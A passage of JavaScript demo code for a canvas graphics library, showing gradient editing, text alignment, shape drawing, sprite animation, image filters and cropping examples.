var sprite = new Canvas2d.Sprite('sprite_0');
var panel = new Canvas2d.Sprite('panel');
var backPanel = new Canvas2d.Sprite('back_panel');
var piker = new Canvas2d.Sprite('piker');
var label, rect, arLabel = [], r = 100, limit, level, len = r * 2,
offx = stage.width - 40 - (r * 2), i = 0;
arCoord = ['x0', 'y0', 'r0', 'x1', 'y1', 'r1'], rt = 2;
var stopC = ['red', 'yellow', 'green', 'cyan', 'blue', 'purple'];
var circle = new Canvas2d.DisplayObjects();
var grdObj = {'color': ['red', 'purple'], 'offset': [0, 1],
'coord': {'x0': 0, 'y0': 0, 'r0': 0, 'x1': 0, 'y1': 0, 'r1': r},
'type': 'radial'};
circle.rect(-(r * rt) / 2, -(r * rt) / 2, r * rt, r * rt);
circle.x = offx / 2;
circle.y = stage.height / 2;
circle.gradient = grdObj;
sprite.add(circle);
var labList = ['Radial', 'Linear', 'Circle', 'Rectangle'];
for (i = 0; i < 4; i++) {
label = new Canvas2d.DisplayObjects(labList[i]);
label.text(labList[i], 0, 0, 'normal', 16, 'Tahoma',
'black', null, 'start', 'bottom');
label.x = i === 0 || i === 2 ? offx / 2 - r : offx / 2 + r - label.width;
label.y = i < 2 ? stage.height - 20 : 40;
label.addEvent('click', changeType);
label.addEvent('mouseover', overHandler);
label.addEvent('mouseout', outHandler);
backPanel.add(label);
}
for (i = 0; i < 6; i++) {
var s = new Canvas2d.DisplayObjects(i.toString());
var slideObj = [{'moveTo': [-4, 3]}, {'quadraticCurveTo': [-4, 0, -1, 0]},
{'lineTo': [9, 0]}, {'quadraticCurveTo': [11, 1, 13, 2]},
{'lineTo': [16, 5]}, {'quadraticCurveTo': [17, 7, 16, 9]},
{'lineTo': [13, 12]}, {'quadraticCurveTo': [11, 13, 9, 14]},
{'lineTo': [-1, 14]}, {'quadraticCurveTo': [-4, 14, -4, 11]},
{'lineTo': [-4, 3]}];
s.shape(-2, -7, slideObj, 'lightsteelblue', 'grey', 2);
s.shadow = {'color': 'hsla(0,0%,0%,0.6)', 'blur': 8, 'offsetX': 2,
'offsetY': 2};
s.addEvent('drag', dragHandler);
s.addEvent('mouseover', overHandler);
s.addEvent('mouseout', outHandler);
var firstPos = i === 2 ? 0 : i === 5 ? r : r;
s.x = firstPos + offx;
s.y = 40 + (40 * i);
s.rotation = -Math.PI / 2;
panel.add(s);
rect = new Canvas2d.DisplayObjects();
rect.rect(0, -6, r * 2, 6, null, 'lightgrey', 2);
rect.x = offx;
rect.y = s.y;
rect.lineShadow = {'color': 'black', 'offsetX': 1,
'offsetY': 1, 'blur': 3};
backPanel.add(rect);
var nPos = i === 2 || i === 5 ? ['0', r.toString(),
(r * 2).toString()] : [('-' + r.toString()), '0', r.toString()];
for (var l = 0; l < nPos.length; l++) {
label = new Canvas2d.DisplayObjects();
label.text(nPos[l], 0, 0, 'lighter', 10, 'Tahoma',
'black', null, 'center', 'bottom');
label.x = offx + (r * l);
label.y = s.y - 18;
backPanel.add(label);
}
var n = i === 5 ? r : 0;
label = new Canvas2d.DisplayObjects(i.toString());
label.text(n.toString(), 0, -3, 'normal', 14, 'Tahoma',
'black', null, 'end', 'middle');
label.x = offx - 15;
label.y = s.y;
arLabel.push(label);
panel.add(label);
label = new Canvas2d.DisplayObjects(i.toString());
label.text(arCoord[i], 0, -3, 'normal', 14, 'Tahoma',
'rgb(69,116,158)', null, 'center', 'middle');
label.x = stage.width - 20;
label.y = s.y;
panel.add(label);
rect = new Canvas2d.DisplayObjects();
rect.rect(0, 0, r / 4, 25, stopC[i], 'lightgrey', 2);
rect.x = offx + (rect.width * i) + ((((r * 2) - (rect.width * 6)) / 5) * i);
rect.y = (40 * 6) + 20;
rect.addEvent('mousedown', addStopDw);
rect.addEvent('mouseup', addStopUp);
rect.addEvent('mouseover', overHandler);
rect.addEvent('mouseout', outHandler);
piker.add(rect);
}
stage.add(sprite);
stage.add(backPanel);
stage.add(panel);
stage.add(piker);
stage.draw();
function dragHandler(e) {
limit = e.mouse.x - offx;
level = e.mouse.x;
if (limit >= 0 && limit <= len) {
level = e.mouse.x;
} else {
if (limit <= 0) {
level = offx;
} else {
level = offx + len;
}
}
e.target.x = level;
panel.draw();
limit = limit < 0 ? 0 : limit > len ? len : limit;
var circ = grdObj.coord;
switch (e.target.name) {
case '0':
circ.x0 = limit - r;
arLabel[parseInt(e.target.name)].txt = (circ.x0).toString();
break;
case '1':
circ.y0 = limit - r;
arLabel[parseInt(e.target.name)].txt = (circ.y0).toString();
break;
case '2':
circ.r0 = limit;
arLabel[parseInt(e.target.name)].txt = (circ.r0).toString();
break;
case '3':
circ.x1 = limit - r;
arLabel[parseInt(e.target.name)].txt = (circ.x1).toString();
break;
case '4':
circ.y1 = limit - r;
arLabel[parseInt(e.target.name)].txt = (circ.y1).toString();
break;
case '5':
circ.r1 = limit;
arLabel[parseInt(e.target.name)].txt = (circ.r1).toString();
break;
default :
break;
}
sprite.draw();
}
function addStopDw(e) {
var obj = circle.gradient, i, u;
if (!e.target.selected) {
obj.color.push(e.target.color);
obj.offset.push(1);
for (i = 0; i < obj.offset.length; i++) {
obj.offset[i] = i / (obj.offset.length - 1);
}
e.target.lineColor = 'black';
e.target.selected = true;
} else {
for (i = 0; i < obj.color.length; i++) {
if (e.target.color === obj.color[i]) {
u = i;
e.target.selected = false;
break;
}
}
obj.color.splice(u, 1);
obj.offset.splice(u, 1);
for (i = 0; i < obj.offset.length; i++) {
obj.offset[i] = i / (obj.offset.length - 1);
}
e.target.lineColor = 'lightgrey';
}
sprite.draw();
e.target.lineWidth = 5;
piker.draw();
}
function addStopUp(e) {
e.target.lineWidth = 2;
piker.draw();
}
function changeType(e) {
switch (e.target.name) {
case 'Linear':
grdObj.type = 'linear';
break;
case 'Radial':
grdObj.type = 'radial';
break;
case 'Circle':
circle.circle(0, 0, r, 0, Math.PI * 2);
circle.x = offx / 2;
circle.y = stage.height / 2;
circle.gradient = grdObj;
break;
case 'Rectangle':
circle.rect(-(r * rt) / 2, -(r * rt) / 2, r * rt, r * rt);
circle.x = offx / 2;
circle.y = stage.height / 2;
circle.gradient = grdObj;
break;
default:
break;
}
sprite.draw();
}
function overHandler() {
stage.container.style.cursor = 'pointer';
}
function outHandler() {
stage.container.style.cursor = 'default';
}
}
},
text: {
textAlignment: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var sprite = new Canvas2d.Sprite('sprite_0');
var back = new Canvas2d.Sprite('back');
var lineO = new Canvas2d.DisplayObjects('line_orizzontal');
lineO.line(0, 0, 0, 0, stage.width, 0, 'lightblue', 1);
lineO.y = stage.height / 2.5;
var lineV = new Canvas2d.DisplayObjects('line_vertical');
lineV.line(0, 0, 0, 0, 0, stage.height, 'lightseagreen', 1);
lineV.x = stage.width - (stage.width / 4);
var vertical = ['start', 'end', 'left', 'right', 'center'];
var orizzontal = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
var type = ['normal', 'italic', 'bold', 'bold italic', 'oblique'];
var gap = stage.width / 8, size = 24;
for (var i = 0; i < orizzontal.length; i++) {
var label = new Canvas2d.DisplayObjects('label_0');
label.text(orizzontal[i], 0, 0, 'normal', size, 'Verdana', 'black', null, 'start', orizzontal[i]);
label.x = gap;
gap += label.width + 10;
label.y = lineO.y;
sprite.add(label);
}
for (i = 0; i < vertical.length; i++) {
label = new Canvas2d.DisplayObjects('label_0');
label.text(vertical[i], 0, 0, 'normal', size, 'Verdana', 'black', null, vertical[i], 'hanging');
label.x = lineV.x;
label.y = lineO.y + (label.height * i) + 10;
sprite.add(label);
}
gap = 40;
for (i = 0; i < type.length; i++) {
label = new Canvas2d.DisplayObjects('label_0');
label.text(type[i], 0, 0, type[i], size, 'Verdana', 'black', null, 'start', 'middle');
label.x = gap;
label.y = 20;
sprite.add(label);
label = new Canvas2d.DisplayObjects('label_0');
label.text(type[i], 0, 0, type[i], size, 'Verdana', null, null, 'start', 'middle');
label.lineColor = 'black';
label.x = gap;
gap += label.width + 10;
label.y = 60;
sprite.add(label);
}
back.add(lineO);
back.add(lineV);
stage.add(back);
stage.add(sprite);
stage.draw();
},
textTest: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('txt_container');
var back = new Canvas2d.Sprite('misc_container', false);
var align = ['left', 'right', 'center', 'start', 'end'];
var baseLine = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
var fontWeight = ['bold italic', 'normal', 'italic', 'bold', 'oblique', 'lighter'];
var font = ['Verdana', 'Georgia', 'Times', 'Arial', 'Fantasy', 'Helvetica'];
var prop, t, world, size = 18;
var vertical = new Canvas2d.DisplayObjects('line_v');
var orizontal = new Canvas2d.DisplayObjects('line_o');
vertical.line(0, 0, 0, -100, 0, 100, 'lightseagreen', 2);
orizontal.line(0, 0, -150, 0, 150, 0, 'lightseagreen', 2);
vertical.x = orizontal.x = stage.width / 2;
orizontal.y = vertical.y = stage.height / 2;
back.add(vertical);
back.add(orizontal);
var label = new Canvas2d.DisplayObjects('display_prop');
label.text('', 0, 0, 'lighter', size, font[0], 'black');
label.paddingLeft = label.paddingTop = 5;
setEvents(label);
for (var i = 0; i < baseLine.length; i++) {
t = label.clone('baseLine_' + baseLine[i]);
t.txt = baseLine[i];
t.align = 'start';
t.x = 20;
t.y = (stage.height / 2) + (t.height * i) + 20 + (4 * i);
sprite.add(t);
t = label.clone('fontWeigth_' + fontWeight[i]);
t.txt = fontWeight[i];
t.align = 'start';
t.x = 20;
t.y = (20) + (t.height * i) + 20;
sprite.add(t);
t = label.clone('fontType_' + font[i]);
t.txt = font[i];
t.align = 'end';
t.baseLine = 'middle';
t.fontType = font[i];
t.x = stage.width - 20;
t.y = (t.height * i) + 20;
sprite.add(t);
if (i < baseLine.length - 1) {
t = label.clone('align_' + align[i]);
t.txt = align[i];
t.align = 'end';
t.x = stage.width - 20;
t.y = (stage.height / 2) + (t.height * i) + 20;
sprite.add(t);
}
}
t = new Canvas2d.DisplayObjects('fontSize_plus');
t.text('Plus', 0, 0, 'normal', size, font[0], 'black', 'right', 'top');
t.paddingLeft = label.paddingTop = 5;
t.x = (stage.width / 2) - 50;
t.y = stage.height - 20;
sprite.add(t);
t.addEvent('click', sClick);
t.addEvent('mouseover', mOver);
t.addEvent('mouseout', mOut);
t = new Canvas2d.DisplayObjects('fontSize_minus');
t.text('Minus', 0, 0, 'normal', size, font[0], 'black', 'left', 'top');
t.paddingLeft = label.paddingTop = 5;
t.x = (stage.width / 2) + 50;
t.y = stage.height - 20;
sprite.add(t);
t.addEvent('click', sClick);
t.addEvent('mouseover', mOver);
t.addEvent('mouseout', mOut);
label.enabledEvent = false;
world = label.clone('helloworld');
world.txt = 'Hello World';
world.align = 'center';
world.baseLine = 'middle';
world.x = vertical.x;
world.y = orizontal.y;
sprite.add(world);
label.txt = world.fontStyle + ' ' + world.align + ' ' + world.baseLine;
label.align = 'center';
label.x = stage.width / 2;
label.y = 20;
sprite.add(label);
function setEvents(e) {
e.addEvent('click', click);
e.addEvent('mouseover', mOver);
e.addEvent('mouseout', mOut);
}
function click(e) {
prop = e.target.name.split('_');
world[prop[0]] = prop[1];
label.txt = world.fontWeigth + ' ' + world.fontSize + 'px ' + world.fontType + ' ' + world.align + ' ' + world.baseLine;
e.target.parent.draw();
}
function sClick(e) {
prop = e.target.name.split('_');
size += prop[1] === 'plus' ? 1 : -1;
size = size < 5 ? 5 : size;
world[prop[0]] = size;
label.txt = world.fontWeigth + ' ' + world.fontSize + 'px ' + world.fontType + ' ' + world.align + ' ' + world.baseLine;
e.target.parent.draw();
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightseagreen';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
stage.add(back);
stage.add(sprite);
stage.draw();
}
},
line: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var line = new Canvas2d.DisplayObjects('line_0');
line.line(0, 0, 0, 0, 100, 0, 'lightseagreen', 4, 'butt', 'miter', 10);
line.x = sprite.width / 2 - line.width / 2;
line.y = sprite.height / 2 - line.height / 2;
sprite.add(line);
stage.add(sprite);
stage.draw();
},
rect: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var rect = new Canvas2d.DisplayObjects('rect_0');
rect.rect(0, 0, 100, 100, 'lightseagreen', 'lightblue', 4);
rect.x = stage.width / 2 - rect.width / 2;
rect.y = stage.height / 2 - rect.height / 2;
sprite.add(rect);
stage.add(sprite);
stage.draw();
},
rectRound: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var rectr = new Canvas2d.DisplayObjects('rect_0');
rectr.rectRound(0, 0, 100, 100, 10, 'lightseagreen', 'lightblue', 4);
rectr.x = stage.width / 2 - rectr.width / 2;
rectr.y = stage.height / 2 - rectr.height / 2;
sprite.add(rectr);
stage.add(sprite);
stage.draw();
},
circle: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var circle = new Canvas2d.DisplayObjects('circ_0');
var circle2 = new Canvas2d.DisplayObjects('circ_2');
circle.circle(0, 0, 50, 0, Math.PI * 2, 'lightseagreen', 'lightblue', 4);
circle2.circle(0, 0, 50, Math.PI, Math.PI * 2, 'lightseagreen', 'lightblue', 4);
circle.x = sprite.width / 3;
circle2.x = (sprite.width / 3) * 2;
circle.y = circle2.y = sprite.height / 2;
sprite.add(circle);
sprite.add(circle2);
stage.add(sprite);
stage.draw();
},
polygon: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var poly = new Canvas2d.DisplayObjects('poly_0');
var points = [[50, 0], [100, 100], [0, 100], [50, 0]];
poly.polygon(0, 0, points, 'lightseagreen', 'lightblue', 4);
poly.x = stage.width / 2 - poly.width / 2;
poly.y = stage.height / 2 - poly.height / 2;
sprite.add(poly);
stage.add(sprite);
stage.draw();
},
shape: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var shape = new Canvas2d.DisplayObjects('shape_0');
var obj = [{'moveTo': [50, 0]}, {'quadraticCurveTo': [50, 50, 100, 100]}, {'quadraticCurveTo': [50, 50, 0, 100]}, {'quadraticCurveTo': [50, 50, 50, 0]}];
shape.shape(0, 0, obj, 'lightseagreen', 'lightblue', 4);
shape.x = stage.width / 2 - shape.width / 2;
shape.y = stage.height / 2 - shape.height / 2;
sprite.add(shape);
stage.add(sprite);
stage.draw();
},
img: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var label = new Canvas2d.DisplayObjects('label_0');
label.text('... ', 0, 0, 'bold', 18, 'Tahoma', 'white', {'color': 'black'}, 'start', 'hanging');
label.x = label.y = 10;
var img = new Canvas2d.DisplayObjects('img_0');
img.img(0, 0, params[0] ? 'img/zoom2.jpg' : 'http://www.somethinglikethis.it/img/hosted/zoom2.jpg', false, 'silver', 4, 4);
sprite.add(img);
sprite.add(label);
stage.add(sprite);
img.loadImage(null, progress, complete, false);
function progress() {
label.txt = '... in progresso';
label.parent.draw();
}
function complete() {
label.txt = '... completo';
img.x = stage.width / 2 - img.width / 2;
img.y = stage.height / 2 - img.height / 2;
label.parent.draw();
}
stage.draw();
},
clip: {
clipAnimation: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var anim = new Canvas2d.Sprite('anim');
var obj = [], cuty = 0, cutx = 0;
var label = new Canvas2d.DisplayObjects('label_0');
label.text('Press Left - Right to move the figure.', 0, 0, 'normal', 16, 'Tahoma', 'gray', null, 'start', 'top');
label.x = label.y = 25;
sprite.add(label);
var labelLeft = new Canvas2d.DisplayObjects('left');
labelLeft.text('Left', 0, 0, 'normal', 16, 'Tahoma', 'gray', null, 'start', 'top');
labelLeft.x = stage.width / 2 - 120;
labelLeft.y = stage.height - 30;
labelLeft.addEvent('mouseover', mOver);
labelLeft.addEvent('mouseout', mOut);
labelLeft.addEvent('mousedown', mDown);
labelLeft.addEvent('mouseup', mUp);
sprite.add(labelLeft);
var labelRight = new Canvas2d.DisplayObjects('right');
labelRight.text('Right', 0, 0, 'normal', 16, 'Tahoma', 'gray', null, 'end', 'top');
labelRight.x = stage.width / 2 + 120;
labelRight.y = stage.height - 30;
labelRight.addEvent('mouseover', mOver);
labelRight.addEvent('mouseout', mOut);
labelRight.addEvent('mousedown', mDown);
labelRight.addEvent('mouseup', mUp);
labelRight.paddingLeft = labelLeft.paddingLeft = 15;
labelRight.paddingTop = labelLeft.paddingTop = 14;
sprite.add(labelRight);
for (var i = 0; i < 20; i++) {
if (i === 10) {
cuty = 100;
cutx = 0;
}
obj.push({'x': 0, 'y': 0, 'map': {'x': 63 * cutx, 'y': cuty, 'width': 63, 'height': 100}});
cutx++;
}
obj.reverse();
var clip = new Canvas2d.DisplayObjects('clip_0');
clip.clip(0, 0, params[0] ? 'img/walk.png' : 'http://www.somethinglikethis.it/img/hosted/walk.png', obj, false);
clip.loadImage(null, prog, onComplete, false);
anim.add(clip);
stage.add(anim);
stage.add(sprite);
function prog(e) {
}
function onComplete() {
clip.x = stage.width / 2 - clip.width / 2;
clip.y = stage.height / 2 - clip.height / 2;
stage.draw();
window.onkeydown = walk;
}
var left = 9;
var right = 0;
function walk(e) {
stepUp(e.keyCode);
}
function stepUp(e) {
switch (e) {
case 39:
right++;
if (right > 9) {
right = 0;
}
clip.currentFrame = right;
if (clip.x + clip.width < stage.width) {
clip.x += 5;
}
anim.draw();
break;
case 37:
left++;
if (left > 19) {
left = 10;
}
clip.currentFrame = left;
if (clip.x > 1) {
clip.x -= 5;
}
anim.draw();
break;
default:
break;
}
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightblue'};
sprite.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
sprite.draw();
}
function mDown(e) {
e.target.backGround = {'color': 'lightblue'};
sprite.draw();
var frame = e.target.name === 'left' ? 37 : 39;
stepUp(frame);
}
function mUp(e) {
e.target.backGround = null;
sprite.draw();
}
},
clipTest: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var anim = new Canvas2d.Sprite('sprite_0');
var imageToClip = new Canvas2d.Sprite('sprite_0');
var obj = [], cuty = 0, cutx = 0;
for (var i = 0; i < 20; i++) {
if (i === 10) {
cuty = 100;
cutx = 0;
}
obj.push({'x': 0, 'y': 0, 'map': {'x': 63 * cutx, 'y': cuty, 'width': 63, 'height': 100}});
cutx++;
}
obj.reverse();
var clip = new Canvas2d.DisplayObjects('clip_0');
clip.clip(0, 0, 'img/walk.png', obj, false, false);
clip.loadImage(null, null, onComplete, false);
//Image Sample
var img = new Canvas2d.DisplayObjects('img_sample');
img.img(0, 0, null, false, null, 5, 5);
//Clipping Image Sample
var rect = new Canvas2d.DisplayObjects();
rect.rect(0, 0, 63, 100, null, 'red', 2);
imageToClip.add(img);
imageToClip.add(rect);
anim.add(clip);
stage.add(anim);
stage.add(imageToClip);
function onComplete() {
clip.x = stage.width / 2 - clip.width / 2;
clip.y = 40;
img.loadImage(clip.image, null, onCompleteImg, false);
anim.draw();
}
function onCompleteImg() {
rect.x = clip.frameList[0].map.x + img.paddingLeft;
rect.y = clip.frameList[0].map.y + img.paddingTop;
clipHolder();
imageToClip.scaleX = imageToClip.scaleY = 0.6;
imageToClip.x = (stage.width / 2) - ((img.width / 2) * 0.6);
imageToClip.y = (stage.height) - ((img.height + 20) * 0.6);
imageToClip.draw();
window.onkeydown = walk;
}
function clipHolder() {
for (var i = 0; i < clip.frameList.length; i++) {
var r = new Canvas2d.DisplayObjects();
r.rect(0, 0, clip.frameList[i].map.width, clip.frameList[i].map.height);
r.x = clip.frameList[i].map.x + img.paddingLeft;
r.y = clip.frameList[i].map.y + img.paddingTop;
r.data = {'direction': i < 10 ? 'right' : 'left', 'cFrame': i};
r.addEvent('mouseover', mOver);
r.addEvent('mouseout', mOut);
r.addEvent('mousemove', mMove);
imageToClip.add(r);
}
}
var left = 9;
var right = 0;
function walk(e) {
stepUp(e.keyCode);
}
function stepUp(e) {
switch (e) {
case 39:
right++;
if (right > 9) {
right = 0;
}
clip.currentFrame = right;
rect.x = clip.frameList[right].map.x + img.paddingLeft;
rect.y = clip.frameList[right].map.y + img.paddingTop;
if (clip.x + clip.width < stage.width) {
clip.x += 5;
}
stage.draw();
break;
case 37:
left++;
if (left > 19) {
left = 10;
}
clip.currentFrame = left;
rect.x = clip.frameList[left].map.x + img.paddingLeft;
rect.y = clip.frameList[left].map.y + img.paddingTop;
if (clip.x > 1) {
clip.x -= 5;
}
stage.draw();
break;
default:
break;
}
}
function mOver() {
stage.container.style.cursor = 'pointer';
}
function mOut() {
stage.container.style.cursor = 'default';
}
function mMove(e) {
left = e.target.data.direction === 'left' ? e.target.data.cFrame : left;
right = e.target.data.direction === 'right' ? e.target.data.cFrame : right;
clip.currentFrame = e.target.data.cFrame;
rect.x = clip.frameList[e.target.data.cFrame].map.x + img.paddingLeft;
rect.y = clip.frameList[e.target.data.cFrame].map.y + img.paddingTop;
stage.draw();
}
}
},
filter: {
grayscale: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sp = new Canvas2d.Sprite();
var bt = new Canvas2d.Sprite();
var btn = new Canvas2d.DisplayObjects();
btn.rectRound(-(140 / 4), -(30 / 4), 140, 30, 8, 'lightseagreen');
bt.addEvent('mousedown', pixelated);
var tx = new Canvas2d.DisplayObjects();
tx.text('Original', 0, 0, 'normal', 20, 'Calibri',
'whitesmoke', null, 'center', 'middle');
bt.add(btn);
bt.add(tx);
bt.x = 90;
bt.y = 35;
var im = new Canvas2d.DisplayObjects();
var crop = {dx: 250, dy: 250, dw: 300, dh: 250};
im.img(0, 0, params[0] ? 'img/image_test.jpg' : 'http://www.somethinglikethis.it/img/hosted/image_test.jpg', false, 'rgba(120,100,15,0.3)', 5, 5);
im.x = 180;
im.y = 20;
im.loadImage(im.source, null, complete);
function complete(e) {
e.setCrop(crop);
e.parent.draw();
}
sp.add(im);
stage.add(sp);
stage.add(bt);
stage.draw();
function pixelated(e) {
if (im.currentFilter === 'grayscale') {
im.restore();
tx.txt = 'Original';
} else {
im.filter('grayscale');
tx.txt = 'Grayscale';
}
stage.draw();
}
},
pixelated: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sp = new Canvas2d.Sprite();
var bt = new Canvas2d.Sprite();
var btn = new Canvas2d.DisplayObjects();
btn.rectRound(-(140 / 4), -(30 / 4), 140, 30, 8, 'lightseagreen');
bt.addEvent('mousedown', pixelated);
var tx = new Canvas2d.DisplayObjects();
tx.text('Original', 0, 0, 'normal', 20, 'Calibri',
'whitesmoke', null, 'center', 'middle');
bt.add(btn);
bt.add(tx);
bt.x = 90;
bt.y = 35;
var im = new Canvas2d.DisplayObjects();
var crop = {dx: 250, dy: 250, dw: 300, dh: 250};
im.img(0, 0, params[0] ? 'img/image_test.jpg' : 'http://www.somethinglikethis.it/img/hosted/image_test.jpg', false, 'rgba(120,100,15,0.3)', 5, 5);
im.x = 180;
im.y = 20;
im.loadImage(im.source, null, complete);
function complete(e) {
e.setCrop(crop);
e.parent.draw();
}
sp.add(im);
stage.add(sp);
stage.add(bt);
stage.draw();
function pixelated(e) {
if (im.currentFilter === 'pixelated') {
im.restore();
tx.txt = 'Original';
} else {
im.filter('pixelated', [12]);
tx.txt = 'Pixelated';
}
stage.draw();
}
},
hsl: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sp = new Canvas2d.Sprite();
var slide = new Canvas2d.Sprite();
slide.x = slide.y = 10;
var slideObj = [{'moveTo': [-4, 3]}, {'quadraticCurveTo': [-4, 0, -1, 0]},
{'lineTo': [9, 0]}, {'quadraticCurveTo': [11, 1, 13, 2]},
{'lineTo': [16, 5]}, {'quadraticCurveTo': [17, 7, 16, 9]},
{'lineTo': [13, 12]}, {'quadraticCurveTo': [11, 13, 9, 14]},
{'lineTo': [-1, 14]}, {'quadraticCurveTo': [-4, 14, -4, 11]},
{'lineTo': [-4, 3]}];
var sl = new Canvas2d.DisplayObjects('h');
sl.shape(-2, -7, slideObj, 'lightgrey', 'slategrey', 2);
var sl2 = sl.clone('s');
var sl3 = sl.clone('l');
sl.x = 15;
sl2.x = 45;
sl3.x = 75;
sl3.y = sl2.y = sl.y = 50;
sl.addEvent('drag', onDragHandler);
sl2.addEvent('drag', onDragHandler);
sl3.addEvent('drag', onDragHandler);
var lmax = 101, lmin = -1, rate = 50, h = 0, s = 0, l = 0;
function onDragHandler(e) {
if (e.mouse.oy >= lmax) {
rate = 100;
} else if (e.mouse.oy <= lmin) {
rate = 0;
} else if (e.mouse.oy < lmax && e.target.y > lmin) {
rate = e.mouse.oy;
}
e.target.y = rate;
e.target.parent.draw();
switch (e.target.name) {
case 'h':
h = rate - 50;
break;
case 's':
s = rate - 50;
break;
case 'l':
l = rate - 50;
break;
default:
break;
}
im.filter('hsl', [h, s, l]);
}
var g = {color: ['red', 'yellow', 'green', 'rgb(0,255,255)', 'blue'],
offset: [0, 0.25, 0.5, 0.75, 1],
coord: {x0: 0, y0: 0, x1: 0, y1: 100}, type: 'linear'};
var g1 = {color: ['gray', 'violet'],
offset: [0, 1], coord: {x0: 0, y0: 0, x1: 0, y1: 100}, type: 'linear'};
var g2 = {color: ['black', 'white'],
offset: [0, 1], coord: {x0: 0, y0: 0, x1: 0, y1: 100}, type: 'linear'};
var r = new Canvas2d.DisplayObjects();
r.rect(0, 0, 5, 100, 'red');
var r1 = r.clone();
var r2 = r.clone();
r.x = sl.x;
r1.x = sl2.x;
r2.x = sl3.x;
r1.color = 'green';
r2.color = 'blue';
r.gradient = g;
r1.gradient = g1;
r2.gradient = g2;
var im = new Canvas2d.DisplayObjects();
var crop = {dx: 250, dy: 250, dw: 300, dh: 250};
im.img(0, 0, params[0] ? 'img/image_test.jpg' : 'http://www.somethinglikethis.it/img/hosted/image_test.jpg', false, 'rgba(120,100,15,0.3)', 5, 5);
im.x = 150;
im.y = 20;
im.loadImage(im.source, null, complete);
function complete(e) {
e.setCrop(crop);
e.parent.draw();
}
slide.add(r);
slide.add(r1);
slide.add(r2);
slide.add(sl);
slide.add(sl2);
slide.add(sl3);
sp.add(im);
stage.add(sp);
stage.add(slide);
stage.draw();
},
invert: function(c, w, h, params) {
// set Stage ( container, width, height, enabledEvent:Boolean )
var stage = new Canvas2d.Stage(c, w, h);
// set Sprite ( name, enabledEvent:Boolean )
var sp = new Canvas2d.Sprite();
var bt = new Canvas2d.Sprite();
// set DisplayObjects ( name, enabledEvent:Boolean )
var btn = new Canvas2d.DisplayObjects();
// create type rectRound ( localX, localY, width, height, radius, color, lineColor, lineWeight )
btn.rectRound(-(140 / 4), -(30 / 4), 140, 30, 8, 'lightseagreen');
// add event addEvent ( type, func:Function )
bt.addEvent('mousedown', pixelated);
// set DisplayObjects ( name, enabledEvent:Boolean )
var tx = new Canvas2d.DisplayObjects();
// create type text ( txt, localX, localY, fontWeight, fontSize, fontType, color, {backGround}, align, baseLine )
tx.text('Original', 0, 0, 'normal', 20, 'Calibri', 'whitesmoke', null, 'center', 'middle');
// add objects to his container
bt.add(btn);
bt.add(tx);
//place object's x and y coordinates relative to his container
bt.x = 90;
bt.y = 35;
var im = new Canvas2d.DisplayObjects();
//set parameters for image ( localX, localY, source, show, {backGround}, paddingTop, paddingLeft )
im.img(0, 0, params[0] ? 'img/image_test.jpg' : 'http://www.somethinglikethis.it/img/hosted/image_test.jpg', false);
// keep track of the loading process ( source, progressEvent, completeEvent )
im.loadImage(im.source, null, complete);
function complete(e) {
//place object's x and y coordinates relative to his container
im.x = stage.width / 2 - im.width / 2;
im.y = stage.height / 2 - im.height / 2;
// draw every objects in the target parent
e.parent.draw();
}
// add objects to his container
sp.add(im);
// add container to stage
stage.add(sp);
stage.add(bt);
// draw every element in stage
stage.draw();
function pixelated(e) {
//if the filter is applied : restore the original image else apply filter
if (im.currentFilter === 'invert') {
// restore the original image myImage.restore() it'll draw every objects in his parent
im.restore();
tx.txt = 'Original';
} else {
// apply filter myImage.filter( type, args:Array, value ) it'll draw every objects in his parent
im.filter('invert');
tx.txt = 'Invert';
}
// draw every element in stage
stage.draw();
}
}
},
setCrop: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var im = new Canvas2d.DisplayObjects('image');
var crop = {dx: 100, dy: 50, dw: w - 200, dh: h - 100};
im.img(0, 0, params[0] ? 'img/image_test.jpg' : 'http://www.somethinglikethis.it/img/hosted/image_test.jpg', false);
im.loadImage(im.source, null, complete);
im.x = crop.dx;
im.y = crop.dy;
function complete(e) {
e.parent.draw();
}
sprite.add(im);
stage.add(sprite);
stage.draw();
stage.addEvent('mousemove', mMove);
function mMove(e) {
var x = e.mouse.x;
x = x + crop.dw > im.image.width ? im.image.width - crop.dw - 1 : x;
var y = e.mouse.y;
y = y + crop.dh > im.image.height ? im.image.height - crop.dh - 1 : y;
crop.dx = Math.min(e.mouse.x,im.width);
crop.dy = Math.min(e.mouse.y,im.height);
im.setCrop(crop);
sprite.draw();
}
},
cacheAsBitmap: function(c, w, h, params) {
},
loadImage: function(c, w, h, params) {
}
},
Tweener: {
examples: {
ease: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
